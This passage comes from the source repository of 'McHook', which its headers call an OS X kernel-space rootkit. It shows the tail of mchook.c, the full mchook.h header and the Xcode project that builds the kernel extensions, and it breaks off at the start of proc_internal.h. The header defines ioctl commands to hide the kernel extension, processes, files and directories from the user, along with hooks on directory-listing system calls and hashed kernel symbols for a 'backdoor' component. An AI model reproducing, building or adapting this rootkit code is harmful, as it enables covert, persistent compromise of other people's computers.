(kmod_info_t *ki, void *d) 1853 | { 1854 | #ifdef DEBUG 1855 | printf("[MCHOOK] KEXT stop called\n"); 1856 | #endif 1857 | 1858 | if (g_registered_backdoors == 0) { 1859 | if (remove_dev_entry() == 0) { 1860 | #ifdef DEBUG 1861 | printf("[MCHOOK] KEXT unloaded correctly\n"); 1862 | #endif 1863 | } 1864 | else { 1865 | #ifdef DEBUG 1866 | printf("[MCHOOK] An error occurred while unloading KEXT\n"); 1867 | #endif 1868 | } 1869 | 1870 | remove_hooks(); 1871 | } 1872 | 1873 | #ifdef DEBUG 1874 | printf("[MCHOOK] Exiting, have phun dude\n"); 1875 | #endif 1876 | 1877 | return KERN_SUCCESS; 1878 | } 1879 | -------------------------------------------------------------------------------- /mchook.h: -------------------------------------------------------------------------------- 1 | /* 2 | * McHook, mchook.h 3 | * OS X KSpace Rootkit 4 | * 5 | * Created by revenge on 20/03/2009 6 | * Copyright (C) HT srl 2009. All rights reserved 7 | * 8 | */ 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "structures.h" 16 | #include "proc_internal.h" 17 | #include "task_internal.h" 18 | 19 | #pragma mark - 20 | #pragma mark Symbols Hash 21 | #pragma mark - 22 | 23 | #define KMOD_HASH 0xdd2c36d6 // _kmod 24 | #define NSYSENT_HASH 0xb366074d // _nsysent 25 | #define TASKS_HASH 0xdbb44cef // _tasks 26 | #define ALLPROC_HASH 0x3fd3c678 // _allproc 27 | #define TASKS_COUNT_HASH 0xa3f77e7f // _tasks_count 28 | #define NPROCS_HASH 0xa77ea22e // _nprocs 29 | #define TASKS_THREADS_LOCK_HASH 0xd94f2751 // _tasks_threads_locks 30 | #define PROC_LOCK_HASH 0x44c085d5 // _proc_lock 31 | #define PROC_UNLOCK_HASH 0xf46ca50e // _proc_unlock 32 | #define PROC_LIST_LOCK_HASH 0x9129f0e2 // _proc_list_lock 33 | #define PROC_LIST_UNLOCK_HASH 0x5337599b // _proc_list_unlock 34 | #define KEXT_LOOKUP_WITH_TAG 0xcf7000a8 // __ZN6OSKext21lookupKextWithLoadTagEj 35 | #define IO_RECURSIVE_LOCK 0x1f7127e3 // _IORecursiveLockLock 36 | 37 | #pragma mark - 38 | #pragma mark IOCTL Codes 39 | #pragma mark - 40 | 41 | #define MCHOOK_MAGIC 31338 42 | 43 | // Used for the uspace<->kspace initialization 44 | #define MCHOOK_INIT _IOW(MCHOOK_MAGIC, 8978726, char [MAX_USER_SIZE]) // IN:username 45 | // Show kext from kextstat -- DEBUG 46 | #define MCHOOK_SHOWK _IO( MCHOOK_MAGIC, 8349871) 47 | // Hide kext from kextstat 48 | #define MCHOOK_HIDEK _IO( MCHOOK_MAGIC, 4975738) 49 | // Hide given pid 50 | #define MCHOOK_HIDEP _IOW(MCHOOK_MAGIC, 9400284, char [MAX_USER_SIZE]) // IN:username 51 | // Hide given dir/file name 52 | #define MCHOOK_HIDED _IOW(MCHOOK_MAGIC, 1998274, char [MAX_DIRNAME_SIZE]) // IN:dir 53 | // Show Process -- DEBUG 54 | #define MCHOOK_SHOWP _IO( MCHOOK_MAGIC, 6839840) 55 | // Unregister userspace component 56 | #define MCHOOK_UNREGISTER _IOW(MCHOOK_MAGIC, 5739299, char [MAX_USER_SIZE]) // IN:username 57 | // Returns the number of active backdoors 58 | #define MCHOOK_GET_ACTIVES _IOR(MCHOOK_MAGIC, 7489827, int) // OUT: num of bd 59 | // Pass symbols resolved from uspace to kspace (not exported symbol snow) 60 | //#define MCHOOK_SOLVE_SYM _IOW(MCHOOK_MAGIC, 6483647, struct symbol) // IN:symbol_32_t 61 | #define MCHOOK_SOLVE_SYM_32 _IOW(MCHOOK_MAGIC, 6483647, struct symbol_32) 62 | #define MCHOOK_SOLVE_SYM_64 _IOW(MCHOOK_MAGIC, 6483648, struct symbol_64) 63 | // Tell the kext to find sysent 64 | #define MCHOOK_FIND_SYS _IOW(MCHOOK_MAGIC, 4548874, struct os_version) // IN:os_version_t 65 | 66 | #pragma mark - 67 | #pragma mark Kernel symbols 68 | #pragma mark - 69 | 70 | #define P_WEXIT 0x00002000 71 | 72 | #define MACRO_BEGIN do { 73 | #define MACRO_END } while (FALSE) 74 | 75 | #define queue_enter(head, elt, type, field) \ 76 | MACRO_BEGIN \ 77 | register queue_entry_t __prev; \ 78 | \ 79 | __prev = (head)->prev; \ 80 | if ((head) == __prev) { \ 81 | (head)->next = (queue_entry_t) (elt); \ 82 | } \ 83 | else { \ 84 | ((type)__prev)->field.next = (queue_entry_t)(elt);\ 85 | } \ 86 | (elt)->field.prev = __prev; \ 87 | (elt)->field.next = head; \ 88 | (head)->prev = (queue_entry_t) elt; \ 89 | MACRO_END 90 | 91 | #define queue_remove(head, elt, type, field) \ 92 | MACRO_BEGIN \ 93 | register queue_entry_t __next, __prev; \ 94 | \ 95 | __next = (elt)->field.next; \ 96 | __prev = (elt)->field.prev; \ 97 | \ 98 | if ((head) == __next) \ 99 | (head)->prev = __prev; \ 100 | else \ 101 | ((type)__next)->field.prev = __prev; \ 102 | \ 103 | if ((head) == __prev) \ 104 | (head)->next = __next; \ 105 | else \ 106 | ((type)__prev)->field.next = __next; \ 107 | \ 108 | (elt)->field.next = NULL; \ 109 | (elt)->field.prev = NULL; \ 110 | MACRO_END 111 | 112 | 113 | #ifdef __LP64__ 114 | #define OFFT_KEXT_KMOD 0x9 115 | #define OFFT_KEXT_ARRAY 0x18 116 | #define OFFT_KEXT_COUNT 0x20 117 | #define OFFT_KMOD_NAME 0x10 118 | #else 119 | #define OFFT_KEXT_KMOD 0xa 120 | #define OFFT_KEXT_ARRAY 0x10 121 | #define OFFT_KEXT_COUNT 0x14 122 | #define OFFT_KMOD_NAME 0xc 123 | #endif 124 | 125 | #pragma mark - 126 | #pragma mark Extern Symbols 127 | #pragma mark - 128 | 129 | static struct proclist *i_allproc = NULL; 130 | static queue_head_t *i_tasks = NULL; 131 | static int *i_nsysent = NULL; 132 | static kmod_info_t *i_kmod = NULL; 133 | static int *i_tasks_count = NULL; 134 | static int *i_nprocs = NULL; 135 | static lck_mtx_t *i_tasks_threads_lock = NULL; 136 | static int *kext_lookup_with_tag = NULL; 137 | static int *io_recursive_log = NULL; 138 | 139 | static char *_sLoadedKext = NULL; 140 | //decl_lck_mtx_data(static, *i_tasks_threads_lock); 141 | 142 | static struct sysent *_sysent; 143 | 144 | void (*i_proc_lock) (struct proc *) = NULL; 145 | void (*i_proc_unlock) (struct proc *) = NULL; 146 | void (*i_proc_list_lock) (void) = NULL; 147 | void (*i_proc_list_unlock)(void) = NULL; 148 | 149 | #pragma mark - 150 | #pragma mark Hooking Flags 151 | #pragma mark - 152 | 153 | // Flags used for determining if a syscall has been hooked 154 | static int fl_getdire = 0; 155 | static int fl_getdire64 = 0; 156 | static int fl_getdirentriesattr = 0; 157 | //static int fl_kill = 0; 158 | //static int fl_shutdown = 0; 159 | //static int fl_reboot = 0; 160 | 161 | 162 | #pragma mark - 163 | #pragma mark KEXT Prototypes 164 | #pragma mark - 165 | 166 | // IOCTL 167 | static int cdev_open (dev_t, int, int, struct proc *); 168 | static int cdev_close (dev_t, int, int, struct proc *); 169 | static int cdev_ioctl (dev_t, u_long, caddr_t, int, struct proc *); 170 | // RK 171 | #ifdef DEBUG 172 | void getAttributesForBitFields (attr_list_t al); 173 | #endif 174 | int check_for_process_exclusions (pid_t pid); 175 | void dealloc_meh (char *, pid_t); 176 | void place_hooks (); 177 | void remove_hooks (); 178 | void add_dir_to_hide (char *, pid_t); 179 | void hide_kext_leopard (); 180 | void hide_kext_osarray (); 181 | int hide_proc (proc_t, char *, int); 182 | int unhide_proc (proc_t, int); 183 | int unhide_all_procs (); 184 | int get_active_bd_index (char *, pid_t); 185 | int get_bd_index (char *, pid_t); 186 | int check_symbols_integrity (); 187 | Boolean backdoor_init (char *, proc_t); 188 | int remove_dev_entry (); 189 | static struct sysent *find_sysent (os_version_t *); 190 | 191 | #pragma mark - 192 | #pragma mark Hooked Syscall Prototypes 193 | #pragma mark - 194 | #if 0 195 | int hook_read (struct proc *, 196 | struct mk_read_args *, 197 | int *); 198 | #endif 199 | 200 | int hook_kill (struct proc *, 201 | struct mk_kill_args *, 202 | int *); 203 | int hook_getdirentries (struct proc *, 204 | struct mk_getdirentries_args *, 205 | int *); 206 | int hook_getdirentries64 (struct proc *, 207 | struct mk_getdirentries64_args *, 208 | int *); 209 | int hook_getdirentriesattr (struct proc *, 210 | struct mk_getdirentriesattr_args *uap, 211 | int *retval); 212 | /* 213 | int hook_shutdown (struct proc *, 214 | struct mk_shutdown_args *, 215 | int *); 216 | int hook_reboot (struct proc *, 217 | struct mk_reboot_args *, 218 | int *); 219 | */ 220 | typedef int kill_func_t (struct proc *, 221 | struct mk_kill_args *, 222 | int *); 223 | typedef int read_func_t (struct proc *, 224 | struct mk_read_args *, 225 | int *); 226 | typedef int getdirentries_func_t (struct proc *, 227 | struct mk_getdirentries_args *, 228 | int *); 229 | typedef int getdirentries64_func_t (struct proc *, 230 | struct mk_getdirentries64_args *, 231 | int *); 232 | typedef int getattrlist_func_t (struct proc *, 233 | struct mk_getattrlist_args *, 234 | int *); 235 | typedef int getdirentriesattr_func_t(struct proc *, 236 | struct mk_getdirentriesattr_args *, 237 | int *); 238 | /* 239 | typedef int shutdown_func_t (struct proc *, 240 | struct mk_shutdown_args *, 241 | int *); 242 | typedef int reboot_func_t (struct proc *, 243 | struct mk_reboot_args *, 244 | int *); 245 | */ 246 | //static read_func_t *real_read; 247 | //static kill_func_t *real_kill; 248 | static getdirentries_func_t *real_getdirentries; 249 | static getdirentries64_func_t *real_getdirentries64; 250 | static getdirentriesattr_func_t *real_getdirentriesattr; 251 | //static shutdown_func_t *real_shutdown; 252 | //static reboot_func_t *real_reboot; 253 | 254 | int is_leopard(); 255 | int is_snow_leopard(); 256 | int is_lion(); 257 | -------------------------------------------------------------------------------- /mchook.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 46; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | 1A93AE47147663E800908B79 /* mchook.h in Headers */ = {isa = PBXBuildFile; fileRef = 1AA104E50F6FB1F600B48136 /* mchook.h */; }; 11 | 1A93AE48147663E800908B79 /* proc_internal.h in Headers */ = {isa = PBXBuildFile; fileRef = 1AA104E70F6FB1FF00B48136 /* proc_internal.h */; }; 12 | 1A93AE49147663E800908B79 /* structures.h in Headers */ = {isa = PBXBuildFile; fileRef = 1AA104E90F6FB20800B48136 /* structures.h */; }; 13 | 1A93AE4A147663E800908B79 /* task_internal.h in Headers */ = {isa = PBXBuildFile; fileRef = 1ADE17BC124BA15800009522 /* task_internal.h */; }; 14 | 1A93AE4C147663E800908B79 /* InfoPlist.strings in Resources */ = {isa = PBXBuildFile; fileRef = 089C167DFE841241C02AAC07 /* InfoPlist.strings */; }; 15 | 1A93AE4E147663E800908B79 /* mchook.c in Sources */ = {isa = PBXBuildFile; fileRef = 1A224C3CFF42312311CA2CB7 /* mchook.c */; settings = {ATTRIBUTES = (); }; }; 16 | 1AA104E60F6FB1F600B48136 /* mchook.h in Headers */ = {isa = PBXBuildFile; fileRef = 1AA104E50F6FB1F600B48136 /* mchook.h */; }; 17 | 1AA104E80F6FB1FF00B48136 /* proc_internal.h in Headers */ = {isa = PBXBuildFile; fileRef = 1AA104E70F6FB1FF00B48136 /* proc_internal.h */; }; 18 | 1AA104EA0F6FB20800B48136 /* structures.h in Headers */ = {isa = PBXBuildFile; fileRef = 1AA104E90F6FB20800B48136 /* structures.h */; }; 19 | 1ADE17BD124BA15800009522 /* task_internal.h in Headers */ = {isa = PBXBuildFile; fileRef = 1ADE17BC124BA15800009522 /* task_internal.h */; }; 20 | 32A4FEBC0562C75700D090E7 /* InfoPlist.strings in Resources */ = {isa = PBXBuildFile; fileRef = 089C167DFE841241C02AAC07 /* InfoPlist.strings */; }; 21 | 32A4FEBE0562C75700D090E7 /* mchook.c in Sources */ = {isa = PBXBuildFile; fileRef = 1A224C3CFF42312311CA2CB7 /* mchook.c */; settings = {ATTRIBUTES = (); }; }; 22 | /* End PBXBuildFile section */ 23 | 24 | /* Begin PBXFileReference section */ 25 | 089C167EFE841241C02AAC07 /* English */ = {isa = PBXFileReference; fileEncoding = 10; lastKnownFileType = text.plist.strings; name = English; path = English.lproj/InfoPlist.strings; sourceTree = ""; }; 26 | 1A224C3CFF42312311CA2CB7 /* mchook.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = mchook.c; sourceTree = ""; }; 27 | 1A93AE54147663E800908B79 /* mchook-64.kext */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = "mchook-64.kext"; sourceTree = BUILT_PRODUCTS_DIR; }; 28 | 1A93AE55147663E800908B79 /* mchook-64-Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; name = "mchook-64-Info.plist"; path = "/Users/revenge/devel/git/driver-macos/mchook-64-Info.plist"; sourceTree = ""; }; 29 | 1AA104E50F6FB1F600B48136 /* mchook.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = mchook.h; sourceTree = ""; }; 30 | 1AA104E70F6FB1FF00B48136 /* proc_internal.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = proc_internal.h; sourceTree = ""; }; 31 | 1AA104E90F6FB20800B48136 /* structures.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = structures.h; sourceTree = ""; }; 32 | 1ADE17BC124BA15800009522 /* task_internal.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = task_internal.h; sourceTree = ""; }; 33 | 32A4FEC30562C75700D090E7 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 34 | 32A4FEC40562C75800D090E7 /* mchook-32.kext */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = "mchook-32.kext"; sourceTree = BUILT_PRODUCTS_DIR; }; 35 | /* End PBXFileReference section */ 36 | 37 | /* Begin PBXFrameworksBuildPhase section */ 38 | 1A93AE4F147663E800908B79 /* Frameworks */ = { 39 | isa = PBXFrameworksBuildPhase; 40 | buildActionMask = 2147483647; 41 | files = ( 42 | ); 43 | runOnlyForDeploymentPostprocessing = 0; 44 | }; 45 | 32A4FEBF0562C75700D090E7 /* Frameworks */ = { 46 | isa = PBXFrameworksBuildPhase; 47 | buildActionMask = 2147483647; 48 | files = ( 49 | ); 50 | runOnlyForDeploymentPostprocessing = 0; 51 | }; 52 | /* End PBXFrameworksBuildPhase section */ 53 | 54 | /* Begin PBXGroup section */ 55 | 089C166AFE841209C02AAC07 /* mchook */ = { 56 | isa = PBXGroup; 57 | children = ( 58 | 247142CAFF3F8F9811CA285C /* Source */, 59 | 089C167CFE841241C02AAC07 /* Resources */, 60 | 19C28FB6FE9D52B211CA2CBB /* Products */, 61 | ); 62 | name = mchook; 63 | sourceTree = ""; 64 | }; 65 | 089C167CFE841241C02AAC07 /* Resources */ = { 66 | isa = PBXGroup; 67 | children = ( 68 | 32A4FEC30562C75700D090E7 /* Info.plist */, 69 | 1A93AE55147663E800908B79 /* mchook-64-Info.plist */, 70 | 089C167DFE841241C02AAC07 /* InfoPlist.strings */, 71 | ); 72 | name = Resources; 73 | sourceTree = ""; 74 | }; 75 | 19C28FB6FE9D52B211CA2CBB /* Products */ = { 76 | isa = PBXGroup; 77 | children = ( 78 | 32A4FEC40562C75800D090E7 /* mchook-32.kext */, 79 | 1A93AE54147663E800908B79 /* mchook-64.kext */, 80 | ); 81 | name = Products; 82 | sourceTree = ""; 83 | }; 84 | 247142CAFF3F8F9811CA285C /* Source */ = { 85 | isa = PBXGroup; 86 | children = ( 87 | 1AA104E90F6FB20800B48136 /* structures.h */, 88 | 1AA104E70F6FB1FF00B48136 /* proc_internal.h */, 89 | 1ADE17BC124BA15800009522 /* task_internal.h */, 90 | 1AA104E50F6FB1F600B48136 /* mchook.h */, 91 | 1A224C3CFF42312311CA2CB7 /* mchook.c */, 92 | ); 93 | name = Source; 94 | sourceTree = ""; 95 | }; 96 | /* End PBXGroup section */ 97 | 98 | /* Begin PBXHeadersBuildPhase section */ 99 | 1A93AE46147663E800908B79 /* Headers */ = { 100 | isa = PBXHeadersBuildPhase; 101 | buildActionMask = 2147483647; 102 | files = ( 103 | 1A93AE47147663E800908B79 /* mchook.h in Headers */, 104 | 1A93AE48147663E800908B79 /* proc_internal.h in Headers */, 105 | 1A93AE49147663E800908B79 /* structures.h in Headers */, 106 | 1A93AE4A147663E800908B79 /* task_internal.h in Headers */, 107 | ); 108 | runOnlyForDeploymentPostprocessing = 0; 109 | }; 110 | 32A4FEBA0562C75700D090E7 /* Headers */ = { 111 | isa = PBXHeadersBuildPhase; 112 | buildActionMask = 2147483647; 113 | files = ( 114 | 1AA104E60F6FB1F600B48136 /* mchook.h in Headers */, 115 | 1AA104E80F6FB1FF00B48136 /* proc_internal.h in Headers */, 116 | 1AA104EA0F6FB20800B48136 /* structures.h in Headers */, 117 | 1ADE17BD124BA15800009522 /* task_internal.h in Headers */, 118 | ); 119 | runOnlyForDeploymentPostprocessing = 0; 120 | }; 121 | /* End PBXHeadersBuildPhase section */ 122 | 123 | /* Begin PBXNativeTarget section */ 124 | 1A93AE45147663E800908B79 /* mchook-64 */ = { 125 | isa = PBXNativeTarget; 126 | buildConfigurationList = 1A93AE51147663E800908B79 /* Build configuration list for PBXNativeTarget "mchook-64" */; 127 | buildPhases = ( 128 | 1A93AE46147663E800908B79 /* Headers */, 129 | 1A93AE4B147663E800908B79 /* Resources */, 130 | 1A93AE4D147663E800908B79 /* Sources */, 131 | 1A93AE4F147663E800908B79 /* Frameworks */, 132 | 1A93AE50147663E800908B79 /* Rez */, 133 | ); 134 | buildRules = ( 135 | ); 136 | dependencies = ( 137 | ); 138 | name = "mchook-64"; 139 | productInstallPath = "$(SYSTEM_LIBRARY_DIR)/Extensions"; 140 | productName = mchook; 141 | productReference = 1A93AE54147663E800908B79 /* mchook-64.kext */; 142 | productType = "com.apple.product-type.kernel-extension"; 143 | }; 144 | 32A4FEB80562C75700D090E7 /* mchook-32 */ = { 145 | isa = PBXNativeTarget; 146 | buildConfigurationList = 1DEB91C308733DAC0010E9CD /* Build configuration list for PBXNativeTarget "mchook-32" */; 147 | buildPhases = ( 148 | 32A4FEBA0562C75700D090E7 /* Headers */, 149 | 32A4FEBB0562C75700D090E7 /* Resources */, 150 | 32A4FEBD0562C75700D090E7 /* Sources */, 151 | 32A4FEBF0562C75700D090E7 /* Frameworks */, 152 | 32A4FEC00562C75700D090E7 /* Rez */, 153 | ); 154 | buildRules = ( 155 | ); 156 | dependencies = ( 157 | ); 158 | name = "mchook-32"; 159 | productInstallPath = "$(SYSTEM_LIBRARY_DIR)/Extensions"; 160 | productName = mchook; 161 | productReference = 32A4FEC40562C75800D090E7 /* mchook-32.kext */; 162 | productType = "com.apple.product-type.kernel-extension"; 163 | }; 164 | /* End PBXNativeTarget section */ 165 | 166 | /* Begin PBXProject section */ 167 | 089C1669FE841209C02AAC07 /* Project object */ = { 168 | isa = PBXProject; 169 | attributes = { 170 | LastUpgradeCheck = 0410; 171 | }; 172 | buildConfigurationList = 1DEB91C708733DAC0010E9CD /* Build configuration list for PBXProject "mchook" */; 173 | compatibilityVersion = "Xcode 3.2"; 174 | developmentRegion = English; 175 | hasScannedForEncodings = 1; 176 | knownRegions = ( 177 | English, 178 | Japanese, 179 | French, 180 | German, 181 | ); 182 | mainGroup = 089C166AFE841209C02AAC07 /* mchook */; 183 | projectDirPath = ""; 184 | projectRoot = ""; 185 | targets = ( 186 | 32A4FEB80562C75700D090E7 /* mchook-32 */, 187 | 1A93AE45147663E800908B79 /* mchook-64 */, 188 | ); 189 | }; 190 | /* End PBXProject section */ 191 | 192 | /* Begin PBXResourcesBuildPhase section */ 193 | 1A93AE4B147663E800908B79 /* Resources */ = { 194 | isa = PBXResourcesBuildPhase; 195 | buildActionMask = 2147483647; 196 | files = ( 197 | 1A93AE4C147663E800908B79 /* InfoPlist.strings in Resources */, 198 | ); 199 | runOnlyForDeploymentPostprocessing = 0; 200 | }; 201 | 32A4FEBB0562C75700D090E7 /* Resources */ = { 202 | isa = PBXResourcesBuildPhase; 203 | buildActionMask = 2147483647; 204 | files = ( 205 | 32A4FEBC0562C75700D090E7 /* InfoPlist.strings in Resources */, 206 | ); 207 | runOnlyForDeploymentPostprocessing = 0; 208 | }; 209 | /* End PBXResourcesBuildPhase section */ 210 | 211 | /* Begin PBXRezBuildPhase section */ 212 | 1A93AE50147663E800908B79 /* Rez */ = { 213 | isa = PBXRezBuildPhase; 214 | buildActionMask = 2147483647; 215 | files = ( 216 | ); 217 | runOnlyForDeploymentPostprocessing = 0; 218 | }; 219 | 32A4FEC00562C75700D090E7 /* Rez */ = { 220 | isa = PBXRezBuildPhase; 221 | buildActionMask = 2147483647; 222 | files = ( 223 | ); 224 | runOnlyForDeploymentPostprocessing = 0; 225 | }; 226 | /* End PBXRezBuildPhase section */ 227 | 228 | /* Begin PBXSourcesBuildPhase section */ 229 | 1A93AE4D147663E800908B79 /* Sources */ = { 230 | isa = PBXSourcesBuildPhase; 231 | buildActionMask = 2147483647; 232 | files = ( 233 | 1A93AE4E147663E800908B79 /* mchook.c in Sources */, 234 | ); 235 | runOnlyForDeploymentPostprocessing = 0; 236 | }; 237 | 32A4FEBD0562C75700D090E7 /* Sources */ = { 238 | isa = PBXSourcesBuildPhase; 239 | buildActionMask = 2147483647; 240 | files = ( 241 | 32A4FEBE0562C75700D090E7 /* mchook.c in Sources */, 242 | ); 243 | runOnlyForDeploymentPostprocessing = 0; 244 | }; 245 | /* End PBXSourcesBuildPhase section */ 246 | 247 | /* Begin PBXVariantGroup section */ 248 | 089C167DFE841241C02AAC07 /* InfoPlist.strings */ = { 249 | isa = PBXVariantGroup; 250 | children = ( 251 | 089C167EFE841241C02AAC07 /* English */, 252 | ); 253 | name = InfoPlist.strings; 254 | sourceTree = ""; 255 | }; 256 | /* End PBXVariantGroup section */ 257 | 258 | /* Begin XCBuildConfiguration section */ 259 | 1A93AE52147663E800908B79 /* Debug */ = { 260 | isa = XCBuildConfiguration; 261 | buildSettings = { 262 | ALWAYS_SEARCH_USER_PATHS = NO; 263 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)"; 264 | COPY_PHASE_STRIP = NO; 265 | FRAMEWORK_SEARCH_PATHS = ( 266 | "$(inherited)", 267 | "\"$(DEVELOPER_DIR)/SDKs/MacOSX10.6.sdk/System/Library/Frameworks\"", 268 | ); 269 | GCC_DYNAMIC_NO_PIC = NO; 270 | GCC_MODEL_TUNING = G5; 271 | GCC_OPTIMIZATION_LEVEL = 0; 272 | GCC_VERSION = com.apple.compilers.llvm.clang.1_0; 273 | INFOPLIST_FILE = "mchook-64-Info.plist"; 274 | INSTALL_PATH = "$(SYSTEM_LIBRARY_DIR)/Extensions"; 275 | MODULE_NAME = com.yourcompany.kext.mchook; 276 | MODULE_START = mchook_start; 277 | MODULE_STOP = mchook_stop; 278 | MODULE_VERSION = 1.0.0d1; 279 | ONLY_ACTIVE_ARCH = YES; 280 | PRODUCT_NAME = "mchook-64"; 281 | SDKROOT = macosx10.7; 282 | WRAPPER_EXTENSION = kext; 283 | }; 284 | name = Debug; 285 | }; 286 | 1A93AE53147663E800908B79 /* Release */ = { 287 | isa = XCBuildConfiguration; 288 | buildSettings = { 289 | ALWAYS_SEARCH_USER_PATHS = NO; 290 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)"; 291 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 292 | FRAMEWORK_SEARCH_PATHS = ( 293 | "$(inherited)", 294 | "\"$(DEVELOPER_DIR)/SDKs/MacOSX10.6.sdk/System/Library/Frameworks\"", 295 | ); 296 | GCC_MODEL_TUNING = G5; 297 | GCC_VERSION = com.apple.compilers.llvm.clang.1_0; 298 | INFOPLIST_FILE = "mchook-64-Info.plist"; 299 | INSTALL_PATH = "$(SYSTEM_LIBRARY_DIR)/Extensions"; 300 | MODULE_NAME = com.yourcompany.kext.mchook; 301 | MODULE_START = mchook_start; 302 | MODULE_STOP = mchook_stop; 303 | MODULE_VERSION = 1.0.0d1; 304 | ONLY_ACTIVE_ARCH = YES; 305 | PRODUCT_NAME = "mchook-64"; 306 | SDKROOT = macosx10.7; 307 | WRAPPER_EXTENSION = kext; 308 | }; 309 | name = Release; 310 | }; 311 | 1DEB91C408733DAC0010E9CD /* Debug */ = { 312 | isa = XCBuildConfiguration; 313 | buildSettings = { 314 | ALWAYS_SEARCH_USER_PATHS = NO; 315 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)"; 316 | COPY_PHASE_STRIP = NO; 317 | FRAMEWORK_SEARCH_PATHS = ( 318 | "$(inherited)", 319 | "\"$(DEVELOPER_DIR)/SDKs/MacOSX10.6.sdk/System/Library/Frameworks\"", 320 | ); 321 | GCC_DYNAMIC_NO_PIC = NO; 322 | GCC_MODEL_TUNING = G5; 323 | GCC_OPTIMIZATION_LEVEL = 0; 324 | GCC_VERSION = 4.2; 325 | INFOPLIST_FILE = Info.plist; 326 | INSTALL_PATH = "$(SYSTEM_LIBRARY_DIR)/Extensions"; 327 | MODULE_NAME = com.yourcompany.kext.mchook; 328 | MODULE_START = mchook_start; 329 | MODULE_STOP = mchook_stop; 330 | MODULE_VERSION = 1.0.0d1; 331 | ONLY_ACTIVE_ARCH = YES; 332 | PRODUCT_NAME = "mchook-32"; 333 | SDKROOT = macosx10.6; 334 | WRAPPER_EXTENSION = kext; 335 | }; 336 | name = Debug; 337 | }; 338 | 1DEB91C508733DAC0010E9CD /* Release */ = { 339 | isa = XCBuildConfiguration; 340 | buildSettings = { 341 | ALWAYS_SEARCH_USER_PATHS = NO; 342 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)"; 343 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 344 | FRAMEWORK_SEARCH_PATHS = ( 345 | "$(inherited)", 346 | "\"$(DEVELOPER_DIR)/SDKs/MacOSX10.6.sdk/System/Library/Frameworks\"", 347 | ); 348 | GCC_MODEL_TUNING = G5; 349 | GCC_VERSION = 4.2; 350 | INFOPLIST_FILE = Info.plist; 351 | INSTALL_PATH = "$(SYSTEM_LIBRARY_DIR)/Extensions"; 352 | MODULE_NAME = com.yourcompany.kext.mchook; 353 | MODULE_START = mchook_start; 354 | MODULE_STOP = mchook_stop; 355 | MODULE_VERSION = 1.0.0d1; 356 | ONLY_ACTIVE_ARCH = YES; 357 | PRODUCT_NAME = "mchook-32"; 358 | SDKROOT = macosx10.6; 359 | WRAPPER_EXTENSION = kext; 360 | }; 361 | name = Release; 362 | }; 363 | 1DEB91C808733DAC0010E9CD /* Debug */ = { 364 | isa = XCBuildConfiguration; 365 | buildSettings = { 366 | ARCHS = "$(ARCHS_STANDARD_32_BIT)"; 367 | GCC_C_LANGUAGE_STANDARD = c99; 368 | GCC_OPTIMIZATION_LEVEL = 0; 369 | GCC_WARN_ABOUT_RETURN_TYPE = YES; 370 | GCC_WARN_UNUSED_VARIABLE = YES; 371 | ONLY_ACTIVE_ARCH = YES; 372 | SDKROOT = macosx10.5; 373 | VALID_ARCHS = "i386 x86_64"; 374 | }; 375 | name = Debug; 376 | }; 377 | 1DEB91C908733DAC0010E9CD /* Release */ = { 378 | isa = XCBuildConfiguration; 379 | buildSettings = { 380 | ARCHS = "$(ARCHS_STANDARD_32_BIT)"; 381 | COPY_PHASE_STRIP = NO; 382 | GCC_C_LANGUAGE_STANDARD = c99; 383 | GCC_WARN_ABOUT_RETURN_TYPE = YES; 384 | GCC_WARN_UNUSED_VARIABLE = YES; 385 | ONLY_ACTIVE_ARCH = YES; 386 | SDKROOT = macosx10.5; 387 | SEPARATE_STRIP = YES; 388 | VALID_ARCHS = "i386 x86_64"; 389 | }; 390 | name = Release; 391 | }; 392 | /* End XCBuildConfiguration section */ 393 | 394 | /* Begin XCConfigurationList section */ 395 | 1A93AE51147663E800908B79 /* Build configuration list for PBXNativeTarget "mchook-64" */ = { 396 | isa = XCConfigurationList; 397 | buildConfigurations = ( 398 | 1A93AE52147663E800908B79 /* Debug */, 399 | 1A93AE53147663E800908B79 /* Release */, 400 | ); 401 | defaultConfigurationIsVisible = 0; 402 | defaultConfigurationName = Release; 403 | }; 404 | 1DEB91C308733DAC0010E9CD /* Build configuration list for PBXNativeTarget "mchook-32" */ = { 405 | isa = XCConfigurationList; 406 | buildConfigurations = ( 407 | 1DEB91C408733DAC0010E9CD /* Debug */, 408 | 1DEB91C508733DAC0010E9CD /* Release */, 409 | ); 410 | defaultConfigurationIsVisible = 0; 411 | defaultConfigurationName = Release; 412 | }; 413 | 1DEB91C708733DAC0010E9CD /* Build configuration list for PBXProject "mchook" */ = { 414 | isa = XCConfigurationList; 415 | buildConfigurations = ( 416 | 1DEB91C808733DAC0010E9CD /* Debug */, 417 | 1DEB91C908733DAC0010E9CD /* Release */, 418 | ); 419 | defaultConfigurationIsVisible = 0; 420 | defaultConfigurationName = Release; 421 | }; 422 | /* End XCConfigurationList section */ 423 | }; 424 | rootObject = 089C1669FE841209C02AAC07 /* Project object */; 425 | } 426 | -------------------------------------------------------------------------------- /proc_internal.h: -------------------------------------------------------------------------------- 1 | /* 2 | * McHook, proc_internal.h 3 | * OS X KSpace Rootkit 4 | * 5 | * Definitions needed by the KEXT and not exported 6 | * 7 | * Created by revenge 